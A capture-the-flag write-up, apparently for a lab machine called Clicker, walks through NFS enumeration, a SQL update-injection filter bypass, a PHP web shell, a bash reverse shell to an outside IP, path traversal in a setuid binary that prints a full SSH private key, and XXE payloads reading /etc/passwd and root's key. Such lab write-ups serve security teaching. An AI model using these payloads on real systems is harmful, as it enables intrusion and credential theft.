Table of Contents
Clicker
Posted on
nmap
$ nmap -vvv -sV -sC -p- -Pn -oA clicker 10.10.11.232 Nmap scan report for 10.10.11.232 Host is up, received user-set (0.074s latency). Scanned at 2024-01-19 17:15:21 CET for 20s Not shown: 65534 closed tcp ports (conn-refused) PORT STATE SERVICE REASON VERSION 111/tcp open rpcbind syn-ack 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind |_ 100000 3,4 111/udp6 rpcbind Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Initial enumeration
Nmap shows that only port 111 (portmapper) is open. Since only portmapper is
listening, I suspect that the machine will have a NFS share exported. To
check for this I run the nmap script nfs-ls
.
$ nmap -vvv -sV -p111 -n 10.10.11.232 --script "nfs-ls" Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-19 17:23 CET PORT STATE SERVICE REASON VERSION 111/tcp open rpcbind syn-ack 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100003 3,4 2049/tcp nfs | 100003 3,4 2049/tcp6 nfs | 100005 1,2,3 47113/tcp6 mountd | 100005 1,2,3 47809/udp mountd | 100005 1,2,3 49472/udp6 mountd | 100005 1,2,3 51809/tcp mountd | 100021 1,3,4 37378/udp nlockmgr | 100021 1,3,4 37793/tcp nlockmgr | 100021 1,3,4 41269/tcp6 nlockmgr | 100021 1,3,4 51190/udp6 nlockmgr | 100024 1 38665/tcp status | 100024 1 42787/udp status | 100024 1 45505/udp6 status | 100024 1 50209/tcp6 status | 100227 3 2049/tcp nfs_acl |_ 100227 3 2049/tcp6 nfs_acl
The output shows that NFS is running. To get all exported NFS shares, I use
the showmount
command.
$ showmount 10.10.11.232 --exports Export list for 10.10.11.232: /mnt/backups *
Next is to mount the share and check whether it contains any useful information.
$ sudo mount -t nfs 10.10.11.232:/mnt/backups nfs_mount -o nolock
Now, I can inspect the share. It contains a zip archive which I copy to my machine. Afterwards, I unmount the share.
$ cp nfs_mount/clicker.htb_backup.zip .
$ sudo umount 10.10.11.232:/mnt/backups
The downloaded archive contains the source code of a web application.
$ tree clicker.htb clicker.htb ├── admin.php ├── assets │ ├── background.png │ ├── cover.css │ ├── css │ │ ├── bootstrap.css │ │ ├── bootstrap.css.map │ │ ├── bootstrap-grid.css │ │ ├── bootstrap-grid.css.map │ │ ├── bootstrap-grid.min.css │ │ ├── bootstrap-grid.min.css.map │ │ ├── bootstrap.min.css │ │ ├── bootstrap.min.css.map │ │ ├── bootstrap-reboot.css │ │ ├── bootstrap-reboot.css.map │ │ ├── bootstrap-reboot.min.css │ │ └── bootstrap-reboot.min.css.map │ ├── cursor.png │ └── js │ ├── bootstrap.bundle.js │ ├── bootstrap.bundle.js.map │ ├── bootstrap.bundle.min.js │ ├── bootstrap.bundle.min.js.map │ ├── bootstrap.js │ ├── bootstrap.js.map │ ├── bootstrap.min.js │ └── bootstrap.min.js.map ├── authenticate.php ├── create_player.php ├── db_utils.php ├── diagnostic.php ├── export.php ├── exports ├── index.php ├── info.php ├── login.php ├── logout.php ├── play.php ├── profile.php ├── register.php └── save_game.php 5 directories, 37 files
This is a bit strange since when I ran nmap there was no web server running. I re-run the nmap scan and it shows me some new open ports.
$ nmap -vvv -sV -sC -p- -Pn -oA clicker 10.10.11.232 Nmap scan report for 10.10.11.232 Host is up, received user-set (0.072s latency). Scanned at 2024-01-19 17:59:50 CET for 27s Not shown: 65526 closed tcp ports (conn-refused) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBO8nDXVOrF/vxCNHYMVULY8wShEwVH5Hy3Bs9s9o/WCwsV52AV5K8pMvcQ9E7JzxrXkUOgIV4I+8hI0iNLGXTVY= | 256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAjDCjag/Rh72Z4zXCLADSXbGjSPTH8LtkbgATATvbzv 80/tcp open http syn-ack Apache httpd 2.4.52 ((Ubuntu)) |_http-server-header: Apache/2.4.52 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Did not follow redirect to http://clicker.htb/ 111/tcp open rpcbind syn-ack 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100003 3,4 2049/tcp nfs | 100003 3,4 2049/tcp6 nfs | 100005 3 47113/tcp6 mountd | 100005 3 47809/udp mountd | 100005 3 49472/udp6 mountd | 100005 3 51809/tcp mountd | 100021 1,3,4 37378/udp nlockmgr | 100021 1,3,4 37793/tcp nlockmgr | 100021 1,3,4 41269/tcp6 nlockmgr | 100021 1,3,4 51190/udp6 nlockmgr | 100227 3 2049/tcp nfs_acl |_ 100227 3 2049/tcp6 nfs_acl 2049/tcp open nfs_acl syn-ack 3 (RPC #100227) 37793/tcp open nlockmgr syn-ack 1-4 (RPC #100021) 38665/tcp open status syn-ack 1 (RPC #100024) 51475/tcp open mountd syn-ack 1-3 (RPC #100005) 51531/tcp open mountd syn-ack 1-3 (RPC #100005) 51809/tcp open mountd syn-ack 3 (RPC #100005) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
There is a web server running. Accessing the web server shows a page where it is possible to view some information, login, and register an account.
Figure 1: web site
Looking at the source code I obtained previously, I see php-files corresponding to the functionality. Since there is not much interesting stuff available without authentication, I register a user to further enumerate the web application.
After registering and logging in, it is possible to play the sites clicker
game via the /play.php
path.
Figure 2: the web site’s clicker game
The web site allows me to save my game progress. Looking at the relevant
section of the code (in file save_game.php
), I see that the HTTP GET query
string is checked for the occurrence of a parameter named role
. If role
is present, the visitor gets redirected to the start page. Looking further
down the code, I see the function save_profile
which receives the player
name and the whole HTTP GET query string. The function save_profile
is
sourced from the file db_utils.php
.
<?php session_start(); include_once("db_utils.php"); if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") { $args = []; foreach($_GET as $key=>$value) { if (strtolower($key) === 'role') { // prevent malicious users to modify role header('Location: /index.php?err=Malicious activity detected!'); die; } $args[$key] = $value; } save_profile($_SESSION['PLAYER'], $_GET); // update session info $_SESSION['CLICKS'] = $_GET['clicks']; $_SESSION['LEVEL'] = $_GET['level']; header('Location: /index.php?msg=Game has been saved!'); } ?>
Looking at the save_profile
function, I see that it constructs a string
based on the HTTP GET query string. This string is then passed to the
function $pdo->prepare
which prepares a SQL statement that later gets
executed. Additionally, the string is not parameterized. This looks somewhat
suspicious and would allow me to update database records via HTTP GET
parameters.
function save_profile($player, $args) { global $pdo; $params = ["player"=>$player]; $setStr = ""; foreach ($args as $key => $value) { $setStr .= $key . "=" . $pdo->quote($value) . ","; } $setStr = rtrim($setStr, ","); $stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player"); $stmt -> execute($params); }
According to the create_new_player
function, the players table contains the
following information:
- username
- nickname
- password
- role
- clicks
- level
function create_new_player($player, $password) { global $pdo; $params = ["player"=>$player, "password"=>hash("sha256", $password)]; $stmt = $pdo->prepare("INSERT INTO players(username, nickname, password, role, clicks, level) VALUES (:player,:player,:password,'User',0,0)"); $stmt->execute($params); }
I am especially interested in changing the role to Admin
as this will
unlock new features on the site. However, the save_game
script filters for
the occurrence of role
so I have to find a way to bypass this filter.
One way I found, was by adding a URL-encoded linefeed character to the
role
-parameter key. This results in the following query
GET /save_game.php?role%0a=Admin&clicks=912&level=123 HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://clicker.htb/play.php
Cookie: PHPSESSID=av2nlgt33s1v91l40kb0pmnpuu
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
The server returns that everything worked fine.
HTTP/1.1 302 Found Date: Sat, 20 Jan 2024 13:36:00 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: /index.php?msg=Game has been saved! Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
However, reloading the page does not reveal any additional functionality.
After logging out and logging in a gain, I can access the administrative
interface at /admin.php
.
With access to the admin panel, I see that there is an export function. This
function is defined in the file export.php
. Upon reviewing the source
code, I see that the program does not properly check and restrict the
extension of the file to be exported. This means I can choose php as
extension.
if ($_POST["extension"] == "txt") { $s .= "Nickname: ". $currentplayer["nickname"] . " Clicks: " . $currentplayer["clicks"] . " Level: " . $currentplayer["level"] . "\n"; foreach ($data as $player) { $s .= "Nickname: ". $player["nickname"] . " Clicks: " . $player["clicks"] . " Level: " . $player["level"] . "\n"; } } elseif ($_POST["extension"] == "json") { $s .= json_encode($currentplayer); $s .= json_encode($data); } else { $s .= '<table>'; $s .= '<thead>'; $s .= ' <tr>'; $s .= ' <th scope="col">Nickname</th>'; $s .= ' <th scope="col">Clicks</th>'; $s .= ' <th scope="col">Level</th>'; $s .= ' </tr>'; $s .= '</thead>'; $s .= '<tbody>'; $s .= ' <tr>'; $s .= ' <th scope="row">' . $currentplayer["nickname"] . '</th>'; $s .= ' <td>' . $currentplayer["clicks"] . '</td>'; $s .= ' <td>' . $currentplayer["level"] . '</td>'; $s .= ' </tr>'; foreach ($data as $player) { $s .= ' <tr>'; $s .= ' <th scope="row">' . $player["nickname"] . '</th>'; $s .= ' <td>' . $player["clicks"] . '</td>'; $s .= ' <td>' . $player["level"] . '</td>'; $s .= ' </tr>'; } $s .= '</tbody>'; $s .= '</table>'; } $filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
Additionally, even though the function stores the created file under a randomized path, the path is displayed to me after triggering the export. This means, I can write a php file to the server and know the path where it is placed too. The only thing I have to figure out to get code execution on the system is how to force the code to write arbitrary content to the exported file.
The exported file contains the nickname, clicks and level of each user. We
can potentially control each value. At first, I thought that nickname is the
username that I specified while creating the user. After looking closer, I
saw that the players table contains two columns that hold a name. One is
called username
. This is the name that is used for logging in. The second
one is called nickname
. It is initially set to the username as can be seen
in the function create_new_player
in the file db_utils.php
.
function create_new_player($player, $password) { global $pdo; $params = ["player"=>$player, "password"=>hash("sha256", $password)]; $stmt = $pdo->prepare("INSERT INTO players(username, nickname, password, role, clicks, level) VALUES (:player,:player,:password,'User',0,0)"); $stmt->execute($params); }
Due to the vulnerable save_profile
function, I am able to change the
nickname of my user to an arbitrary string. This allows me to save a php
command shell snipped as the nickname.
GET /save_game.php?nickname=<?php+system($_REQUEST['c']);?>&clicks=1000001&level=1
Once this is done, I can use the export function to create a php file on the server that contains a php command shell.
POST /export.php HTTP/1.1
Host: clicker.htb
[...]
Referer: http://clicker.htb/admin.php
[...]
threshold=1000000&extension=php
The application provides me the path to where it stored the file. Knowing the path, it is easy to get a reverse shell from the server. To do so, I can use the following request.
GET /exports/top_players_kgokjfhp.php?c=bash+-c+'%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.2%2F443%200%3E%261' HTTP/1.1
To command is a URL-encoded version of /bin/bash -i >&
/dev/tcp/10.10.16.2/443 0>&1
. I prepend bash -c
as sometimes it doesn’t
work without.
After executing the command shell, I get a shell as user www-data.
Local enumeration
I looked around the file system and the only interesting thing I can find
are the files under /opt
.
www-data@clicker:/opt$ ls -laR .: total 16 drwxr-xr-x 3 root root 4096 Jul 20 2023 . drwxr-xr-x 18 root root 4096 Sep 5 19:19 .. drwxr-xr-x 2 jack jack 4096 Jul 21 2023 manage -rwxr-xr-x 1 root root 504 Jul 20 2023 monitor.sh ./manage: total 28 drwxr-xr-x 2 jack jack 4096 Jul 21 2023 . drwxr-xr-x 3 root root 4096 Jul 20 2023 .. -rw-rw-r-- 1 jack jack 256 Jul 21 2023 README.txt -rwsrwsr-x 1 jack jack 16368 Feb 26 2023 execute_query
The bash script monitor.sh
checks whether the executing user has root
privileges. If not, it exits immediately. This file may be required for
privilege escalation later. In the directory manage
there is a binary
called execute_query
. The README.txt informs about how to use the
execute_query
binary.
www-data@clicker:/opt/manage$ cat README.txt Web application Management Use the binary to execute the following task: - 1: Creates the database structure and adds user admin - 2: Creates fake players (better not tell anyone) - 3: Resets the admin password - 4: Deletes all users except the admin
As I did not find any other clues on how to get a shell as normal user,
I copied the binary execute_query
to my machine and ran strings
on
it.
strings execute_query /lib64/ld-linux-x86-64.so.2 O+-W __cxa_finalize setreuid __libc_start_main atoi puts system strncpy strlen strcat [...] u+UH /home/jaH ck/queriH /usr/binH /mysql -H u clickeH r_db_useH r --passH word='clH icker_dbH _passworH d' clickH er -v < H ERROR: not enough arguments ERROR: Invalid arguments create.sql populate.sql reset_password.sql clean.sql File not readable or not found :*3$" [...]
The output indicates that the binary calls the mysql exe.
/home/jack/queri /usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < H
The output also indicates that there are also some sql-files involved. Since I do not know any further, I launch ghidra and try to find additional clues via reverse engineering.
The disassembled version of the binary looks as follows:
undefined8 main(int param_1,long param_2) { int iVar1; undefined8 uVar2; char *pcVar3; size_t sVar4; size_t sVar5; char *__dest; long in_FS_OFFSET; undefined8 local_98; undefined8 local_90; undefined4 local_88; undefined8 local_78; undefined8 local_70; undefined8 local_68; undefined8 local_60; undefined8 local_58; undefined8 local_50; undefined8 local_48; undefined8 local_40; undefined8 local_38; undefined8 local_30; undefined local_28; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); if (param_1 < 2) { puts("ERROR: not enough arguments"); uVar2 = 1; } else { iVar1 = atoi(*(char **)(param_2 + 8)); pcVar3 = (char *)calloc(0x14,1); switch(iVar1) { case 0: puts("ERROR: Invalid arguments"); uVar2 = 2; goto LAB_001015e1; case 1: strncpy(pcVar3,"create.sql",0x14); break; case 2: strncpy(pcVar3,"populate.sql",0x14); break; case 3: strncpy(pcVar3,"reset_password.sql",0x14); break; case 4: strncpy(pcVar3,"clean.sql",0x14); break; default: strncpy(pcVar3,*(char **)(param_2 + 0x10),0x14); } local_98 = 0x616a2f656d6f682f; local_90 = 0x69726575712f6b63; local_88 = 0x2f7365; sVar4 = strlen((char *)&local_98); sVar5 = strlen(pcVar3); __dest = (char *)calloc(sVar5 + sVar4 + 1,1); strcat(__dest,(char *)&local_98); strcat(__dest,pcVar3); setreuid(1000,1000); iVar1 = access(__dest,4); if (iVar1 == 0) { local_78 = 0x6e69622f7273752f; local_70 = 0x2d206c7173796d2f; local_68 = 0x656b63696c632075; local_60 = 0x6573755f62645f72; local_58 = 0x737361702d2d2072; local_50 = 0x6c63273d64726f77; local_48 = 0x62645f72656b6369; local_40 = 0x726f77737361705f; local_38 = 0x6b63696c63202764; local_30 = 0x203c20762d207265; local_28 = 0; sVar4 = strlen((char *)&local_78); sVar5 = strlen(pcVar3); pcVar3 = (char *)calloc(sVar5 + sVar4 + 1,1); strcat(pcVar3,(char *)&local_78); strcat(pcVar3,__dest); system(pcVar3); } else { puts("File not readable or not found"); } uVar2 = 0; } LAB_001015e1: if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) { return uVar2; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }
Since my reverse engineering knowledge is very limited, I am having a hard
time reading and understanding the code. What clearly is visible in the code,
are the branches for the different options as stated in the README.txt e.g.
case 1
etc.
I could also identify that the binary might read some files as the code reads
puts("File not readable or not found");
. There is also the default branch
of the switch statement.
[...] default: strncpy(pcVar3,*(char **)(param_2 + 0x10),0x14); [...]
This looks a bit suspicious. As far as I understand, if the default case is
hit e.g. the first parameter is none of the numbers 1-4 then the program
copies the value that can be found at param_2 + 0x10
to the variable
pcVar3
. This looks like a second parameter is used too. The README.txt did
not say anything about a second parameter. This could be an indicator that
the second parameter will be the key to getting a shell as regular user.
However, I could not connect the dots and had to search for a write up after
the machine was no longer active.
After reading the writeups from 0xdf and elswix I had confirmation that the
default case uses a second command line parameter. Using the second
parameter, it is possible to specify a file system path to a file that should
be passed to the sql command in listing 21. Since the command includes the
-v
parameter, the output of the command will be print to the console. So to
grab the ssh key of the user jack, I used the below command.
www-data@clicker:/opt/manage$ ./execute_query 223 '../.ssh/id_rsa' mysql: [Warning] Using a password on the command line interface can be insecure. -------------- -----BEGIN OPENSSH PRIVATE KEY--- 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 -----END OPENSSH PRIVATE KEY--- -------------- ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-----BEGIN OPENSSH PRIVATE KEY--- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAA' at line 1
The output shows the jack’s ssh private key. After saving the key to my machine and changing the file permissions to 600, I am able to login via ssh as user jack.
Privilege escalation
The first thing I check, is the groups to which jack belongs.
jack@clicker:~$ groups jack adm cdrom sudo dip plugdev
jack is member of the sudoers group. Maybe I am lucky and I do not need a password to run commands as root.
jack@clicker:~$ sudo -l Matching Defaults entries for jack on clicker: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User jack may run the following commands on clicker: (ALL : ALL) ALL (root) SETENV: NOPASSWD: /opt/monitor.sh
jack can run the script /opt/monitor.sh
as root without specifying a
password. This looks like the vector to escalate privileges.
The script /opt/monitor.sh looks as follows.
jack@clicker:~$ cat /opt/monitor.sh #!/bin/bash if [ "$EUID" -ne 0 ] then echo "Error, please run as root" exit fi set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin unset PERL5LIB; unset PERLLIB; data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token); /usr/bin/xml_pp <<< $data; if [[ $NOSAVE == "true" ]]; then exit; else timestamp=$(/usr/bin/date +%s) /usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml fi
The script calls the diagnostic.php endpoint of the web application which
returns a few pieces of information. This information is afterwards processed
via xml_pp
and printed to the screen. However, there is no way to directly
change the data that is returned by the diagnostic.php endpoint.
The key to rooting this machine is in the sudoers configuration. The last line of the sudoers file reads as follows.
(root) SETENV: NOPASSWD: /opt/monitor.sh
The SETENV:
tag allows me to set a environment variable on the command
line. This allows me to set the http_proxy environment variable that is used
by curl. In this way I am able to take control over the data that is passed in
to xml_pp
ultimately leading to XML External Entity (XXE) injection.
To do so, I first have to reconfigure Burp so that it listens on all interfaces and set intercept to on. Once this is done, I must run the following command as user jack.
jack@clicker:~$ sudo http_proxy=http://10.10.16.2:8080 /opt/monitor.sh
Since I set up Burp to intercept the request, the execution halts and I am
able to see the request in Burp. The request itself is not of interest. The
interesting part is the response returned by the server as I want to
overwrite it to force xml_pp
to process an xml file that I control. Therefore,
I instruct Burp to intercept the response to and forward the request to the
server. As soon as the response hits the proxy, I change it to the following.
HTTP/1.1 200 OK Date: Sat, 10 Feb 2024 09:40:44 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 102 Connection: close Content-Type: text/html; charset=UTF-8 <?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]> <data>&example;</data>
This response defines an XML entity that reads the file /etc/passwd and includes it in the response. Since the script monitor.sh is run as root, I should be able to read any file on the server.
Therefore, I try to read the root users private ssh key via the following XXE.
HTTP/1.1 200 OK
Date: Sat, 10 Feb 2024 09:47:49 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 112
Connection: close
Content-Type: text/html; charset=UTF-8
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "/root/.ssh/id_rsa"> ]>
<data>&example;</data>
This returns the ssh key which I copy to my local machine, change the file permissions to 600 and login to the target machine as root to retrieve the flag.